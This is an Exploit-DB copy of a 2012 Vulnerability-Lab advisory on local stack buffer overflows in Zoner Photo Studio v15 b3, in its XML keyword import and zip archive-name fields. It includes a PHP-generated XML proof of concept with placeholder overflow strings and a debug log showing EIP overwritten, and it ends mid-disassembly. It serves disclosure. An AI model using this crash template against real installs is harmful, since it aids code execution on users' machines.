Exploit-DB #22685
Description: Zoner Photo Studio 15 b3 - Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2012-11-13
Author: Vulnerability-Lab

Exploit:
Title:
======
Zoner Photo Studio v15 b3 - Buffer Overflow Vulnerabilities


Date:
=====
2012-11-13


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=759


VL-ID:
=====
759


Common Vulnerability Scoring System:
====================================
4.5


Introduction:
=============
Mit dem Bildverwalter `Zoner PhotoStudio` sammeln Sie Ihre digitalen Fotos unter einer Oberfl�che. Die �bersichtliche Benutzeroberfl�che 
von `Zoner PhotoStudio` und der gro�e Funktionsumfang machen es Ihnen einfach, Ihre Bilder zu versch�nern und mit Freunden zu teilen. 
Eines der Highlights der Software ist die M�glichkeit, eigene 3D-Bilder zu entwerfen. Die fertigen Fotos k�nnen mit einer handels�blichen 
3D-Brille dreidimensional bestaunt werden. Weiter k�nnen Sie Diashows anlegen, Ihre Bilder im Internet ver�ffentlichen oder Panorama-Fotos 
erstellen, wobei Ihnen das Programm ganz unkompliziert unter die Arme greift.

(Copy of the Homepage: http://www.zoner.com/de-de/download-photo-studio-free )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple Buffer Overflow Vulnerabilities in the official Zoner Photo Studio Software v15 (b3).


Report-Timeline:
================
2012-11-13:	Public Disclosure


Status:
========
Published


Affected Products:
==================
Zoner Software
Product: Zoner Photo Studio v15 Build 3


Exploitation-Technique:
=======================
Local


Severity:
=========
High


Details:
========
Multiple local buffer overflow vulnerabilities are detected in the in the official Zoner Photo Studio Software v15 (b3).
The bug allows local attackers to escalate out of the affected vulnerable software module with system process privileges. 
The vulnerabilities are detected in 2 different software functions of the main executeable (zps.exe).

1.1
The first local buffer overflow vulnerability is located in the XML `Keyword Import (Schl�sselwort)` module. The xml 
importer does not parse the length (values) of the string (name & description) when processing to import (buffer). 
The result is a local exploitable stack-based Buffer Overflow vulnerability.

Vulnerable Module(s):
				[+] Setting(Einstellungen) > Keyword XML Import/Export (ZPS14Keywords.xml)

Vulnerable Parameter(s):
				[+] Name
				[+] Description


1.2
The secound vulnerability is located in the `Publizieren > Per Mail versenden` (STRG+UMS+M) module. The module allows an local user 
to publish .zip compressed files. The archivname field does not filter or sanitize large inputs when processing to load  (buffer) 
the compressed file name extensions. The result is a local exploitable stack-based Buffer Overflow vulnerability.  

Vulnerable Module(s):
				[+] Publizieren > Per Mail versenden > [Zip Comprimierung der Bilder]

Vulnerable Parameter(s):
				[+] Archivname


Proof of Concept:
=================
1.1
The buffer overflow vulnerability can be exploited by local attackers with local privileged system user account and without required user inter action.
For demonstration or reproduce ...

PoC: [XML] ZPS14Keywords.xml  | Setting(Einstellungen) > Keyword Import/Export
<?php
header('Content-Type: text/xml');
print '<?xml version="1.0" encoding="UTF-8"?><keywords version="2.0"><hierarchy>
		<keyword category="yes" name="Security Researchers">
			<keyword category="no" name="[BUFFER OVERFLOW (EIP&EBX) VIA IMPORT KEYWORDS!];" description="31337;" />
			<keyword category="no" name="Benjamin Kunz Mejri" />
			<keyword category="no" name="PenTest23" />
			<keyword category="no" name="PenTest24" />
			<keyword category="no" name="PenTest25" />
			<keyword category="no" name="PenTest26" />
			<keyword category="no" name="PenTest26" />
			<keyword category="no" name="PenTest27" />
			<keyword category="no" name="PenTest28" />
			<keyword category="no" name="PenTest29" />
			<keyword category="no" name="PenTest30" />
		</keyword>
		<keyword category="yes" name="News">
			<keyword category="no" name="31337;" description="[BUFFER OVERFLOW (EIP&EBX) VIA IMPORT KEYWORDS!];" />
			<keyword category="no" name="Chokri Ben Achour" />
			<keyword category="no" name="PenTest32" />
			<keyword category="no" name="PenTest33" />
			<keyword category="no" name="PenTest34" />
			<keyword category="no" name="PenTest35" />
			<keyword category="no" name="PenTest36" />
			<keyword category="no" name="PenTest37" />
			<keyword category="no" name="PenTest38" />
			<keyword category="no" name="PenTest39" />
			<keyword category="no" name="PenTest40" />
		</keyword>
		<keyword category="yes" name="[BUFFER OVERFLOW (EIP&EBX) VIA IMPORT KEYWORDS!]">
			<keyword category="yes" name="31337;" />
			<keyword category="no" name="Ibrahim El-Sayed" />
			<keyword category="no" name="PenTest41" />
			<keyword category="no" name="PenTest42" />
			<keyword category="no" name="PenTest43" />
			<keyword category="no" name="PenTest44" />
			<keyword category="no" name="PenTest45" />
			<keyword category="no" name="PenTest46" />
			<keyword category="no" name="PenTest47" />
			<keyword category="no" name="PenTest48" />
			<keyword category="no" name="PenTest49" />
		</keyword>
	</hierarchy>
</keywords>';
?>

--- Debug Logs ---
(3a98.1840): Access violation - code c0000005 
eax=00000000 ebx=00410041 ecx=000031e7 edx=0878dd68 esi=0021ced0 edi=00000000
eip=41414141 esp=0021ce68 ebp=0021cebc iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!ZwRaiseException+0x12:
76fd15de 83c404          add     esp,4
0:000> u
ntdll!ZwRaiseException+0x12:
76fd15de 83c404          add     esp,4
76fd15e1 c20c00          ret     0Ch
ntdll!NtRaiseHardError:
76fd15e4 b830010000      mov     eax,130h
76fd15e9 33c9            xor     ecx,ecx
76fd15eb 8d542404        lea     edx,[esp+4]
76fd15ef 64ff15c0000000